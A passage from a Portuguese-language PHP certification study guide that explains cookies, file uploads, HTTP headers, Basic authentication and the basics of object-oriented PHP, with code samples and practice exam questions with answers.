Lembrando que nem sempre o navegador está habilitado para receber esse tipo de gravação, por ter
sido deliberadamente desativado pelo usuário.
Dica: para visualizar mais facilmente os cookies gravados no navegador instale o addon Web
Developer⁴⁹ ou habilite o menu de desenvolvedor presente nos navegadores modernos.
A função que realiza o processo de gravação chama-se setcookie(). O primeiro argumento da fun-
ção é o nome, que pode ser resgatado posteriormente através da superglobal $_COOKIE['nome']. O
segundo é o valor que será guardado no computador do usuário, portanto jamais salve informações
críticas.
Os demais parâmetros definam as condições em que esse cookie ficará disponível: o terceiro
argumento é o tempo (no formato Unix timestamp) em que o cookie ficará gravado no browser.
Se omitido ou configurado em 0 (zero), ele vai expirar no fim da sessão, ao fechar o navegador. Esse
tempo é definido em conjunto com a função time() que retorna o instante atual (em timestamp)
somado ao tempo desejado. Ex.: setcookie("ocultar_menu", "sim", time() + 86400);.
Lembrando que 86400 equivalem a um dia: 60 segundos x 60 minutos x 24 horas.
O quarto parâmetro é o caminho. Ou seja, se omitido fica sendo a raiz do site (/).
Quinto parâmetro é o domínio na qual ele pertence. Ex.: ao informar, por exemplo, .site.com torna
o cookie disponível para todos os subdomínios.
O sexto argumento aceita um booleano e assegura que o cookie somente será enviado através de
uma conexão segura.
Já o último parâmetro chama-se httponly e configura o cookie para que ele esteja disponível apenas
sob protocolo HTTP, portanto não estaria disponível para código JavaScript, evitando ataques XSS⁵⁰.
É uma funcionalidade polêmica, pois não funciona em todos os navegadores web.
Abaixo apresento uma imagem extraída do plugin Live HTTP headers⁵¹ que visualiza os cabeçalhos
trocados entre cliente e servidor, sendo que podemos enxergar os pares nome=valor.
⁴⁹http://chrispederick.com/work/web-developer
⁵⁰Cross-siteScripting
⁵¹http://livehttpheaders.mozdev.org
Recursos Web 141

Existe também a função setrawcookie() (com os mesmos parâmetros acima), mas com uma
diferença fundamental: ela guarda o valor do cookie em format “cru”, sem encode.
A função setcookie("usuario", "Ari Stopassola Junior\nZCPE"); transforma o valor em:

Ari Stopassola Junior


ZCPE

Sendo que o formato raw, através de setrawcookie(), seria Ari+Stopassola+Junior%0AZCPE, pois


transforma os seguintes caracteres especiais: ,; \t\r\n\013\014.

Após a execução do script abaixo, como o dado será gravado no cookie:


setrawcookie("usuario", "Ari Stopassola Junior", time() + 86400);

A: Ari Stopassola Junior


B: Ari+Stopassola+Junior
C: Gera um Warning: Cookie values cannot contain any of the following ',; \t\r\n\
\013\014'
D: AriStopassolaJunior

O encode é feito automaticamente pela função setcookie(), diferentemente de setrawcookie() que


necessita de codificação/decodificação manual dos dados. Então a resposta correta é C, pois o espaço
em branco do nome gera um erro não fatal do tipo Warning.
A leitura do cookie é bastante simples. Basta apontar para o índice da superglobal $_COOKIE. Ex.:
echo $_COOKIE['ocultar_menu']; onde ocultar_menu é o nome do referido cookie.

Para “apagar” um cookie, não há uma forma explícita de o fazê-lo e sim atribuir valor nulo (ou vazio)
ao dado e atribuir timestamp negativo no parâmetro de tempo. Ex.: setcookie("ocultar_menu",
NULL, -3600);
Recursos Web 142

É possível um website armazenar na máquina cliente dois cookies com nomes idênti\
cos mas valores diferentes?

A: Sim, pois guarda em posições diferentes de um array interno


B: Não, pois sobrescreve
C: Sim, pois é possível configurar um caminho diferente (_path_) para o segundo \
cookie
D: Não, pois o Top Level Domain é o mesmo e portanto sobrescreve - independente \
do caminho

A resposta é sim, pois se consegue salvar dois cookies desde que estejam apontados em diferentes
caminhos. Nesse caso a alternativa C é a correta.
Veja um printscreen do plugin Firebug⁵², na aba “Cookies”, onde demonstra dois cookies de mesmo
nome com valores distintos: um no contexto de /a e outro em /b.

Upload
O upload acontece quando o usuário preenche o formulário com um campo especial do tipo file,
apontando para um arquivo escolhido em seu próprio filesystem.
O elemento HTML do formulário fica algo como <input type='file'> e requer obrigatoriamente
o atributo enctype='multipart/form-data' na tag <form>.
No momento seguinte todos os dados do arquivos são acessados através da superglobal $_FILES⁵³,
permitindo que o PHP o manipule de todas as formas. Abaixo seguem os índices do array $_FILES
contendo informações sobre o(s) arquivo(s) que está(ão) sendo recebido(s) no servidor:

Função Descrição
$_FILES['name'] Nome original do arquivo
$_FILES['type'] Tipo MIME
$_FILES['size'] Tamanho do arquivo (em bytes⁵⁴)
$_FILES['tmp_name'] Nome temporário que o arquivo receberá no servidor
$_FILES['error'] Mensagem de erro do processo de upload (caso ocorra)

⁵²http://getfirebug.com
⁵³http://php.net/manual/pt_BR/features.file-upload.post-method.php
⁵⁴Para converter em Megabytes, multiplique por 1048576 (1024 * 1024).
Recursos Web 143

Após identificar o arquivo, você precisa executar a função PHP que materializa o arquivo no seu
devido local físico junto ao sistema de arquivos, pois o arquivo é automaticamente excluído (do
diretório temporário) após a execução do script.

Função Descrição
move_uploaded_file() Move um arquivo enviado para uma nova localização
is_uploaded_file() Retorna um boolean identificando se o arquivo foi
enviado pelo método POST HTTP, útil para evitar ataques
maliciosos onde o usuário pode deturpar o arquivo em
questão, fazendo o script operar em arquivos críticos
(como por exemplo /etc/passwd). Potencial pergunta
do exame para preenchimento em campo aberto!

Qual das seguintes alternativas NÃO é requisito para o funcionamento do uploads \


de arquivos?

A: A diretiva file_uploads deve estar configurada como On


B: O atributo method do formulário deve estar configurado como "post"
C: O formulário deve conter um elemento oculto (do tipo hidden) definido com o n\
ome "MAX_FILE_SIZE"
D: O atributo enctype do formulário deve estar configurado para "multipart/form-\
data"

Nessa questão usaremos a estratégia da eliminação. Primeiramente observe que o enunciado quer
saber qual a alternativa NÃO é fundamental para que o upload de arquivos funcione no PHP.
A alternativa A é imprescindível: a cláusula file_uploads no php.ini deve estar habilitada
(configurada como On ou 1).
A opção B enfatiza que o respectivo formulário deve utilizar o método POST de envio de dados,
configuração que é requisito básico também.
Na resposta D refere-se ao atributo enctype que obrigatoriamente deve estar ajustado como
multipart/form-data, caso contrário o arquivo chega corrompido no lado do servidor.
Então sobra a alternativa C, que menciona um campo hidden com o nome MAX_FILE_SIZE, que na
prática não tem impacto na execução do script.
Um recurso interessante (e com grandes chances de cair no exame) que serve para restringir
o tamanho do upload de arquivos, é definir a cláusula upload_max_filesize no php.ini. Ex.:
upload_max_filesize = 32M.

Após o advento da versão 5.6 do PHP, a linguagem suporta arquivos maiores que 2Gb
(gigabytes).
Recursos Web 144

Progresso de upload
Novas versões do PHP incorporaram recursos que nos permitem acompanhar o progresso de upload
de arquivos.
Esse controle do tráfego oferece instrumentos para customizar a transferência do arquivo para o
servidor e aumentar a interatividade desse processo para com o usuário.

Cláusulas do php.ini Descrição


session.upload_progress.enabled = On Habilita o recurso no PHP
session.upload_progress.cleanup = On Remove as informações após o término do upload
session.upload_progress.prefix = Palavra-chave utilizada para nomear o upload via
"upload_progress_" sessão. Ex.: considerando que o valor determinado
foi upload_progress_ e o campo do formulário é
<input type='hidden' value='meu_upload'>,
então o array da sessão vai conter
['upload_progress_meu_upload']
session.upload_progress.name = Token que deve ser enviado pelo formulario (do
"PHP_SESSION_UPLOAD_PROGRESS" tipo hidden)
session.upload_progress.min_freq = "1" Frequência de atualização dos metadados
session.upload_progress.freq = 1% Granularidade do progresso de upload, sendo que
aceita o modo percentual ou bytes

Obs.: ao testar localmente, o upload é extremamente rápido – portanto é aconselhável desabilitar a


declaração session.upload_progress.cleanup = Off.
Veja um exemplo de como poderíamos implementar um formulário:

1 <form action="upload.php" method="POST" enctype="multipart/form-data">


2 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?\
3 >" value="meu_upload">
4 <input type="file" name="arquivo">
5 <input type="submit" value="Enviar">
6 </form>

Ao rastrear o progresso de upload com sessões, os valores de duas configurações \


INI são necessários para determinar a chave em $ _SESSION dos dados de progresso\
. Quais configurações são essas?
[ Escolha 2 ]

A: session.upload_progress.file
B: session.upload_progress.key
C: session.upload_progress.prefix
D: session.upload_progress.freq
Recursos Web 145

E: session.upload_progress.name

Respostas corretas, alternativas: C e E.

Cabeçalhos HTTP
Toda requisição ao servidor gera um retorno contendo cabeçalhos, que transmite informações sobre
o recurso que está sendo solicitado.
O header é sempre enviado e pode-se manipular a forma como o navegador interpreta um
determinado conteúdo.
Como requisito deve ser especificado antes da saída de qualquer elemento de tela.
A função utilizada para configurar os cabeçalhos HTTP é a header(), muito utilizada para
redirecionamento, autenticação, personalizar erros, interpretar corretamente o conteúdo transferido,
controle de cache, compressão e encoding.
O primeiro parâmetro é a string de cabeçalho. Ex.: header('Location: http://www.certificamp.com');.
Obs.: a string Location redireciona a requisição para outra URL.
O segundo argumento opcional indica se o cabeçalho deve substituir um header similar anterior ou
adicionar um segundo cabeçalho de mesmo tipo. Por padrão, ele irá substituir, mas se você passar
false como o segundo argumento, podes forçar vários cabeçalhos de mesmo tipo.

Já o terceiro parâmetro, também opcional, indica o status HTTP (sendo que o default é 200,
informando que a requisição foi bem sucedida). Ex.: header('Location: /index2.php', true,
301);.

Obs.: o status HTTP⁵⁵ de código 301 indica que o site foi movido permanentemente.
Outra função bastante interessante chama-se header_list(). Ela retorna todos os cabeçalhos que
foram enviados ao navegador. Veja esse exemplo:

1 setcookie("menu", "horizontal", time()+2592000);


2 header('Content-language: en');
3 header('Content-type: text/plain');
4 var_dump(headers_list());

E o resultado foi:

⁵⁵https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
Recursos Web 146

array(4) {
[0]=>
string(24) "X-Powered-By: PHP/7.1.1"
[1]=>
string(83) "Set-Cookie: menu=horizontal; expires=Thu, 10-Jun-2017 19:47:20 GMT\
; Max-Age=2592000"
[2]=>
string(20) "Content-language: en"
[3]=>
string(38) "Content-type: text/plain;charset=UTF-8"
}

A função header_sent() retorna um booleano caso os cabeçalhos já tenham sido enviados (true)
ou não (false).
Funções interessantes Descrição
http_response_code(404); Altera o código HTTP para 404
header_register_callback('funcao'); Chama uma função de usuário que mexe nos cabeçalhos,
geralmente com header_remove() e header().

Observe o código PHP abaixo, onde realizamos algumas manipulações de cabeçalhos HTTP:

1 function AlteraCabecalhos()
2 {
3 header_remove("X-Powered-By"); //remove "X-Powered-By: PHP/7.1.1"
4 header("X-Author: Ari Junior"); //adiciona um novo cabeçalho
5 }
6
7 //Chama uma função que altera os cabeçalhos
8 header_register_callback("AlteraCabecalhos");
9
10 //Altera o código HTTP para 404
11 http_response_code(404);
12
13 //Retorna o código HTTP 404, anteriormente configurado
14 echo http_response_code();
15
16 //Exibe todos os cabeçalhos transmitidos
17 print_r(headers_list());

Atente-se que a função header_remove() consegue remover determinados cabeçalhos somente


antes do envio dos mesmos, previamente configurados.
Recursos Web 147

Outra possibilidade interessante é usar a função headers_sent() para saber se algum cookie, por
exemplo, foi enviado ao navegador do usuário - já que a função setcookie() adiciona um cabeçalho
HTTP Set-Cookie.

1 setcookie("nome", "Ari Junior");


2 print_r(headers_list()); //Set-Cookie: nome=Ari+Junior
3 if(headers_sent())
4 {
5 echo "Enviou";
6 }

Quais classes de status HTTP são utilizadas para manifestar condições de erro no\
servidor e redirecionamento, respectivamente?

A: 4XX e 3XX
B: 4XX e 2XX
C: 3XX e 5XX
D: 5XX e 3XX

Essa questão tem duas alternativas contento a classe de erro 4XX, que também indicam erros
provenientes do usuário. A classe de erros 5XX informam que existem problemas para lidar com
a requisição, do ponto de vista do servidor - como por exemplo o 503 (Service Unavailable)
indicando que o servidor está inoperante ou com excessos de solicitações.
A classe de erros 3XX realizam redirecionamentos automáticos, quando um website foi movido para
outro endereço etc. Portanto a alternativa correta é D: 5XX e 3XX. Mais informações em https://
www.w3.org/Protocols/HTTP/HTRESP.html.
Outro erro comum é tentar enviar cabeçalhos HTTP, através da função header(), após algo ter sido
escrito em tela - provocando Warning: Cannot modify header information - headers already
sent by....

Mas há situações em que simplesmente não há como mexer no fluxo de execução do script de modo
que os headers sejam disparados antes (para evitar erros). Então utilizamos uma técnica para reter
o conteúdo de saída (buffer) e realizar o envio quando for mais apropriado - geralmente após a
transmissão dos cabeçalhos. Ex.:
Recursos Web 148

1 ob_start(); //as saídas ficam guardadas em buffer interno, exceto os headers


2 echo "Saída na tela";
3
4 header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
5 header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); //Data no passado
6 header('Pragma: no-cache');
7
8 ob_flush(); //descarrega o conteúdo do echo APÓS os headers

Autenticação HTTP
Embora o exame seja independente de servidor web, algumas funcionalidades interessantes são
usadas com frequência e pertencem ao módulo PHP para o Apache. Geralmente os demais servidores
acabam implementando tais funcionalidades, por tratar-se de recursos realmente úteis e se tornaram
padrão de mercado. Dentre eles se destacam o mod_rewrite (sobrescrita de URL) e a autenticação
clássica do Apache.
A autenticação é um hook do Apache que invoca uma janela de login e senha. Após o preenchimento
das credenciais, tornam-se disponíveis (na superglobal $_SERVER) nos índices: PHP_AUTH_USER
(usuário), PHP_AUTH_PW (senha) e AUTH_TYPE (tipo de autenticação).

1 <?php
2 $autenticado = false;
3 if(isset($_SERVER['PHP_AUTH_USER'])) $usr = $_SERVER['PHP_AUTH_USER'];
4 if(isset($_SERVER['PHP_AUTH_PW'])) $senha = $_SERVER['PHP_AUTH_PW'];
5 if (isset($usr) && isset($senha) && $usr == "admin" && $senha == "ninja")
6 {
7 $autenticado = true;
8 }
9
10 if (!$autenticado)
11 {
12 header('WWW-Authenticate: Basic realm="Area protegida"');
13 header('HTTP/1.0 401 Unauthorized');
14 echo "Lamento, mas você não foi autenticado. Tente novamente...";
15 exit;
16 }
17 ?>
18 Parabéns! Você está numa área protegida.
Recursos Web 149

Quais dos seguintes itens da superglobal $_SERVER são importantes para autentica\
ção do cliente ao utilizar o tipo básico (Basic) de autenticação HTTP?
[ escolha 2 ]

A: PHP_AUTH_TYPE
B: PHP_AUTH_PASSWORD
C: PHP_AUTH_DIGEST
D: PHP_AUTH_PW
E: PHP_AUTH_USER

Como visto no início desse tópico, as duas superglobais que armazenam as credenciais do usuário
para o esquema de autenticação HTTP Basic são $_SERVER['PHP_AUTH_USER'] e $_SERVER['PHP_-
AUTH_PW'], portanto alternativas D e E.

Simulado
1.

Quando o script PHP realiza upload de arquivo com o método PUT do HTTP, onde os \
dados de arquivo se encontram exatamente?

A: Na superglobal $_FILES
B: No stream de entrada php://input
C: Na superglobal $_POST
D: No escopo de variáveis globais

2.

Considere o seguinte formulário carregado no navegador, o campo checkbox marcado\


e submetido:
<form method="post" action="aceito.php">
<input type="checkbox" name="aceito" />
<input type="submit">
</form>

Da forma como o script PHP (no caso o "aceito.php") lida com os dados vindos do \
formulário, qual seria o valor de $_POST['aceito']?
Recursos Web 150

A: aceito
B: ok
C: true
D: on

3.

Em sua aplicação PHP, como você pode enviar o mesmo cabeçalho HTTP duas vezes, m\
as com valores diferentes?

A: Configurar o segundo argumento da função header() como false


B: PHP faz isso automaticamente
C: Você só pode enviar um tipo particular de cabeçalho uma vez
D: Use a função header_add()

4.

Qual alternativa a seguir NÃO pode ser utilizada para enviar cookies a partir da\
aplicação PHP?

A: header()
B: $_COOKIE
C: setcookie()
D: setrawcookie()

5.

Quais tipos de autenticação HTTP o PHP suporta?


[ escolha 2 ]

A: Basic
B: Advanced
C: Strict
D: Digest
E: Realm
Recursos Web 151

Respostas do simulado
1.
Comumente obtemos os dados de upload através da superglobal $_FILES, porém as requisições
PUT são mais simples que o upload de arquivos usando requisições POST. Portanto a resposta é B:
No stream de entrada php://input. Mais informações em https://secure.php.net/manual/pt_BR/
features.file-upload.put-method.php.
2.
Reposta D: on.
3.
Ao enviar o mesmo tipo de cabeçalho duas vezes, a segunda sobrescreve a primeira. Exceto se
você passar false como segundo argumento da função header() - daí ele preserva ambos. Portanto
letra A é a resposta correta.
4.
Pergunta capciosa e tende a confundir. O importante é lembrar que a superglobal $_COOKIE é
utilizada para ler cookies e não escrever (como diz o enunciado da questão).
Como a pergunta pede qual alternativa é incorreta, então justamente você deveria ter marcado a
opção B: $_COOKIE.
5.
Os tipos Advanced e Strict não existem na especificação da RFC 7235 https://tools.ietf.org/html/
rfc7235.
Realm é um atributo da autenticação que agrupa páginas semelhantes, permitindo acesso ou não
nesse escopo, também conhecido com protection Space. Entretanto não é um tipo de autenticação,
mas sim uma configuração.
Basic e Digest são esquemas de autenticação bastante difundidos, consequentemente são as
alternativas corretas: A e D.
Programação Orientada à Objetos
O paradigma orientado à objetos ou programação OO (POO, como comumente é chamada) traz
inúmeros benefícios ao desenvolvimento de software. Dentre eles:

• Modularizar o código;
• Organizar melhor grandes projetos;
• Estimular o reuso;
• Abstrair dados e comportamento, semelhante ao mundo real;
• Ocultar a implementação, focando na funcionalidade;
• Encapsulamento expõndo as funcionalidades, restringindo acesso aos dados internos;
• Desenvolvimento incremental através de herança.

Definição de classe
Classe é uma estrutura de dados que determina a forma dos objetos. Atua como um molde, atri-
buindo conhecimento (atributos) e comportamento (métodos). É uma unidade lógica que encapsula
dados e ações.

1 class Nome {
2 [atributos]
3 [métodos]
4 }

Deve começar com letra ou underscore seguido de letras, números e/ou underscore, sem limite de
tamanho. Ex.: class ServicosLocais { ... }.
A convenção utilizada chama-se upper camel case que estabelece a primeira letra de cada palavra
em maiúscula. Ex.: class PacotesPasseios { ... }.
Programação Orientada à Objetos 153

1 class Servico {
2 public $Nome;
3 public $distanciaEmKm; //Lower Camel Case
4 public $cidade_origem = "Gramado"; //Inicializando
5 public $_veiculo; //Foge as boas práticas
6
7 public $data_viagem = time(); //Erro! Inicialização ilegal
8 public $-guiaCredenciado; //NÃO é permitido
9 public $cidade_destino = $cidade_origem; //Inválido!
10 }

A criação de classes é feita através da palavra-chave class e os objetos são instâncias de classes e
para tal utilizam a palavra-chave new. Ex.:

1 class minhaClasse {
2 //...
3 }
4
5 $objeto = new minhaClasse();

Métodos e atributos

Os atributos são dados ou propriedades de objetos. É o conhecimento que tal objeto possui.
Lembrando que var é um resquício do PHP 4, mas ainda funcional como garantia de retro-
compatibilidade. Ex.: var $idade;.

1 class hospedagem {
2 public $diaria; //Inicializa como null
3 public $banheira = "sim";
4 $quarto; //ERRO!
5 }

Os métodos são funções e expressa o comportamento dos objetos. Manifesta o que os objetos são
capazes de fazer.

1 $hotel = new hospedagem;


2 $hotel->ObtemTipo();

Para acessar propriedades e métodos da instância corrente, utilize $this que é variável especial
que aponta para a sua própria instância.
Programação Orientada à Objetos 154

1 class hospedagem {
2 var $tipo = "luxo";
3 function ObtemTipo() {
4 echo $this->tipo;
5 }
6 }

O método construtor __construct (nome reservado) é executado automaticamente quando uma


instância da classe é criada. Ex.:

1 class restaurante {
2 function __construct(){
3 //...
4 }
5 }

Ou pode ser o método de mesmo nome da classe, que foi uma convenção implementada no PHP 4
e que se perpetuou por questões de retro-compatibilidade. Ex.:

1 class restaurante {
2 function restaurante(){
3 //...
4 }
5 }

1 Importante salientar que esta implementação gera um alerta de erro `E_DEPRECATED\


2 ` avisando que este tipo de construtor será descontinuado em versões futuras do \
3 PHP.

O construtor é útil para inicializar propriedades, executar procedimentos de inicialização, abrir


conexão com BD, gerar arquivos etc.
No sentido inverso, temos o método destrutor __destruct() que dispara quando não há mais
referências para esse objeto. Possibilita que a desalocação de memória pode ser controlada pelo
desenvolvedor.
O __destruct(), ao espelho do __construct(), é chamado imediatamente após objeto ser des-
truído. Útil para realizar procedimentos de limpeza, desconexão de BD, deleção de arquivos
temporários e outras tarefas.
Programação Orientada à Objetos 155

1 class restaurante {
2 function __destruct() {
3 //...
4 }
5 }
6
7 $japones = new restaurante;
8 unset($japones);
9 //OU
10 $japones = null;

Visibilidade
A visibilidade serve para instruir os desenvolvedores em como utilizar os atributos adequadamente.

Escopo Visibilidade
public Acessível em toda parte (dentro e fora da classe)
protected Na classe que foi definida e seus descendentes
private Somente na classe que foi definida

Caso não seja especificado, o padrão é public tanto para atributos, quanto para métodos.
Modificador private é util, por exemplo, num atributo $salario – pois trata-se de um dado
crítico e que deve ser acessível apenas na própria classe que foi especificado, que é onde contém
a responsabilidade sobre àquele objeto.
Obs.: por convenção usa-se $_ antes do nome da variável quando a propriedade for protected. Ex.:
$_preco.

Instanciação

As instância da classe (objetos) são entidade com formato baseado numa estrutura pré-definida. É
um exemplar gerado a partir da classe. Ex.: $objeto = new classe;.

De acordo com a definição de classe abaixo, qual a forma correta de instanciá-la?


<?php
class Pessoa {
function __construct($n){
$this->nome = $n;
}
}
Programação Orientada à Objetos 156

?>

A: $p = Pessoa("Ari");
B: $p = new Pessoa();
C: $p = new Pessoa("nome"=>"Ari");
D: $p = new Pessoa("Ari");

A alternativa A gera um "Fatal error: Call to undefined function Pessoa()" pois o PHP tenta
invocar uma função procedural chamada Pessoa (não a classe) que não existe.
A opção B possui uma sintaxe mais coerente, logo o construtor requer um argumento ($n) e ele foi
negligenciado - desse modo gera um Warning: Missing argument 1 for Pessoa::__construct().
A resposta C usa uma sintaxe inapropriada e gera um erro primário de Parse error: syntax error,
unexpected '=>' (T_DOUBLE_ARROW).
Por fim, a alternativa D é a correta, pois cria o objeto adequadamente passando o parâmetro Ari ao
construtor, que por sua vez atribui à propriedade $nome.
Embora o atributo $nome não exista na definição da classe, ele é criado em tempo de execução e
possui visibilidade pública.
Abaixo segue um trecho de código que comprova a explicação dessa pergunta:

1 class Pessoa {
2 function __construct($n){
3 $this->nome = $n;
4 }
5 }
6
7 //Fatal error: Uncaught Error: Call to undefined function Pessoa()
8 $p = Pessoa("Ari");
9
10 //Fatal error: Uncaught ArgumentCountError:
11 //Too few arguments to function Pessoa::__construct()
12 $p = new Pessoa();
13
14 //Parse error: syntax error, unexpected '=>' (T_DOUBLE_ARROW)
15 $p = new Pessoa("nome"=>"Ari");
16
17 //CORRETA
18 $p = new Pessoa("Ari");

A palavra reservada clone realiza um cópia do objeto, sendo que qualquer mudança no objeto
original NÃO reflete no clone. Ex.: $guia = clone $pessoa;.
Programação Orientada à Objetos 157

Pode-se customizar a forma como o clone é criado, definindo um método mágico chamado __-
clone(). Ex.:

1 function __clone()
2 {
3 $this->data_criacao = time();
4 }

Quando a palavra-chave clone for usada, lembre-se que o construtor da classe clonada não será
disparado.

É válido ressaltar que a cópia de objetos é diferente da clonagem. Na cópia de objetos (através de
atribuição) faz-se um apontamento para uma mesma área de memória.
Na cópia, os objetos são passados por referência, preservando o apontamento com o objeto original.
Ex.:

1 $objeto1 = new stdClass();


2 $objeto2 = $objeto1; //apontam para o MESMO objeto, no caso $objeto1
3 $objeto3 = clone $objeto1;
4
5 $objeto1->content = 'Ari';
6
7 var_dump($objeto1); //object(stdClass)#1 (1) { ["content"]=> string(3) "Ari" }
8 var_dump($objeto2); //object(stdClass)#1 (1) { ["content"]=> string(3) "Ari" }
9 var_dump($objeto3); //object(stdClass)#2 (0) { }

Na linha 1 do código acima, instanciamos stdClass (standard class) que é uma classe genérica vazia,
nativa da linguagem.
Programação Orientada à Objetos 158

Qual a saída do código a seguir:


class Classe{}
$obj = new Classe();
echo ($obj instanceof stdClass)?'Y':'N';

_____________ (campo aberto)

Embora Classe seja vazia, continua sendo uma classe definida pelo usuário, consequentemente o
objeto $obj não é uma instância da classe padrão stdClass - testada através do operador instanceof.
Significa que o resultado é N.
A partir da versão 5.4 do PHP foi implementando o recurso Class member access on instantiation.
Significa que ao invés de carregar toda a instância da classe, o desenvolvedor apenas acessa o atributo
ou método necessário, com menos overhead e praticidade:
PHP < 5.4:

1 $obj = new DateTime;


2 echo $obj->getTimestamp();

PHP >= 5.4:

1 echo (new DateTime)->getTimestamp();

O método especialistas() retorna os desenvolvedores responsáveis por cada framew\


ork. De acordo com o código abaixo, como obter o especialista em ZendFramework2 \
“ZF2”?
class Developers {
public static function Especialistas()
{
return [
'ZF2' => 'Ari Junior',
'Laravel' => 'Michaelsen',
'Code Igniter' => 'Oddy Silva',
'Symfony' => 'Renato'
];
}
}

Assinale as alternativas corretas:


A: echo Developers::Especialistas()['ZF2'];
Programação Orientada à Objetos 159

B: echo (new Developers)->Especialistas()['ZF2'];


C: $dev = new Developers; echo $dev->Especialistas()['ZF2'];
D: Não pode instanciar pois o método Especialistas() é estático

As alternativas A, B e C são corretas. A opção A se utiliza de um recurso do PHP implementado na


versão 5.4 chamado array dereferencing, que permite acessar o índice específico do array devolvido
pelo método ou função. A alternativa B é o acesso ao membro da classe na instanciação e funciona
perfeitamente. E a alternativa C instancia o objeto e acessa o índice do array, em dois passos, com
o mesmo efeito. Lembrando que essa sintaxe é viável, pois o método Especialistas() é estático,
então a alternativa D não procede.

Sintaxe Uniforme de Variável


A Uniform Variable Syntax visa estabelecer uma consistência interna de sintaxe das variáveis,
acessando referências da esquerda para a direita.
Há dois tipos de sintaxe uniforme de variável: desreferenciamento (dereferencing) e variável
variável.
Abaixo seguem alguns exemplos de dereferencing que nos possibilita acesso direto ao recurso
desejado. Ex.:

1 (...)()
2 (...)['propriedade']
3 (...)->propriedade
4 (...)->facaAlgo()
5 (...)::$propriedade
6 (...)::metodo()

Essa construção é familiar para quem trabalha com JavaScript e formalmente é chamada de IIFE:
Immediately Invoked Function Expression. Ex.:
Programação Orientada à Objetos 160

1 (function($nome = null){
2 $nome = $nome ?? "forasteiro";
3 $pessoa = new class($nome)
4 {
5 protected $nome;
6 public function __construct($nome)
7 {
8 $this->nome = $nome;
9 }
10 public function boasvindas()
11 {
12 echo "Olá ".$this->nome."<br>";
13 }
14 };
15 $pessoa->boasvindas();
16 })();

Útil para não poluir o escopo global com variáveis ou objetos temporários. Lembrando que
os parênteses no final () imediatamente executam a função, gerando a saída Olá forasteiro,
permitindo que seja passado algum parâmetro. Experimente alterar a última linha do código acima
para:

1 })('Ari'); //e a saída será "Olá Ari"

Ainda no contexto de Sintaxe Uniforme de Variável o impacto maior acontece no tratamento de


variável variável. Recordando: variável variável é uma variável que tem seu nome configurado em
tempo de execução.

Herança

É a capacidade da classe (subclasse) herdar características de outra classe (superclasse). É um conceito


chamado também de “derivação de classe”.

1 class galeteria extends restaurante {


2 //...
3 }

A classe filho extende/especializa funcionalidades da classe pai, definindo novos recursos ou


sobrescrevendo-os.
Se houver implementação do método construtor na classe filha, o construtor da classe pai não será
chamado automaticamente – a menos que esteja explícito através da palavra reservada parent. Ex.:
Programação Orientada à Objetos 161

1 class filha extends pai{


2 function __construct(){
3 parent::__construct();
4 }
5 }

Esse comportamento ocorre em decorrência da sobrescrita de métodos (Method Overriding) que


veremos adiante.
Abaixo segue um diagrama de classes bastante simples, desenhado através da notação UML⁵⁶ -
que não é cobrada no exame, mas de vital importância na modelagem e representação de sistemas
orientados à objetos:

Sobrescrita de métodos
A sobrescrita de métodos (method overriding) é um técnica que consiste em redeclarar métodos,
propriedades e constantes, definindo um novo comportamento.
Nas constantes, basta redeclarar que o novo valor é assumido. Nos métodos, eles deve possuir a
mesma quantidade de argumentos (exceto o construtor).
Pode-se reusar uma implementação pronta chamando o relativo método da classe pai, através de
parent::método();. Ex.:

⁵⁶Abreviatura de Unified Modeling Language (Linguagem Unificade de Modelagem), amplamente utilizada na diagramação de sistemas
orientados à objetos.
Programação Orientada à Objetos 162

1 class Veiculo {
2 public $nome;
3 public $placa;
4 public $autonomia;
5 public $capacidade;
6
7 function ExibeVeiculo(){
8 $saida = "Nome: <strong>".$this->nome."</strong><br/>";
9 $saida .= "Placa: <strong>".$this->placa."</strong><br/>";
10 $saida .= "Autonomia: <strong>".$this->autonomia."</strong> Km/litro<br/>";
11 $saida .= "Capacidade: <strong>".$this->capacidade."</strong> pessoas";
12 return $saida;
13 }
14 }
15 /****** Sobrescreve o método ********/
16 class VeiculoProprio extends Veiculo {
17 function ExibeVeiculo(){
18 $saida = "<div style='background-color:palegreen;'>";
19 $saida .= parent::ExibeVeiculo();
20 $saida .= "</div>";
21 return $saida;
22 }
23 }
24 /************* Executa *************/
25 $van = new VeiculoProprio;
26 $van->nome = "Van";
27 $van->placa = "IRA 0312";
28 $van->autonomia = 8;
29 $van->capacidade = 6;
30 echo $van->ExibeVeiculo();

Modificadores
Para prevenir sobrescritas indesejadas, utilizamos a palavra reservada final. Ela evita que classes e
métodos sejam sobrescritos pelos descendentes.
O keyword final pode ser aplicada em classes e métodos, exceto atributos, funções, interfaces e
classes abstratas. Se for utilizada em classe, a mesma não poderá ser estendida.
Programação Orientada à Objetos 163

1 class pai{
2 final function facaAlgo()
3 {
4 echo "Faça algo da clase pai";
5 }
6 }
7 class filha extends pai
8 {
9 //Fatal error: Cannot override final method
10 function facaAlgo()
11 {
12 echo "Faça algo da clase filha";
13 }
14 }
15 $obj = new filha;

Forma de exercer controle de que classes/métodos podem ou não serem sobrescritas.


Já no contexto de funções simples, como dizem respeito ao desenvolvimento procedural, não sofre
interferência de herança, portanto não faz sentido o uso de final.
Outro fenômeno corrente em sistemas orientados à objetos é o fato da sobreposição de métodos
poder ocasionar equívocos na execução do sistema, em função das novas características tomarem o
lugar das antecessoras.
Para que haja um controle preciso de qual recurso está sendo chamado, utilizamos as palavras
reservadas parent e self. Ou seja: para acessar recursos da superclasse imediatamente superior
(de quem se herdou), usa-se parent::xxx.
E para forçar a obtenção dos recursos a partir da própria classe, usa-se self::xxx.

Classes abstratas
A classe definida com a palavra-chave abstract provê um esqueleto para as classes “concretas”
(que é onde residem as implementações de fato). Elas servem como uma assinatura para as classes
que serão efetivamente instanciadas, de modo que o arquiteto/desenvolvedor possa primeiramente
mapear a estrutura dos recursos que serão implementados posteriormente nas classes ditas “concre-
tas”.

1 abstract class Classe {


2 abstract function metodo();
3 }

As classes abstratas até podem contar implementação, mas jamais poderão ser instanciadas direta-
mente. A criação dos objetos é sempre feita a partir das classes que herda.
Programação Orientada à Objetos 164

1 abstract class ClasseAbstrata{


2 abstract protected function fazAlgo();
3 function Implementa(){
4 echo "Aqui há implementação!";
5 }
6 }
7 class ClasseConcreta extends ClasseAbstrata{
8 public function fazAlgo(){
9 echo $this->Implementa();
10 }
11 }
12
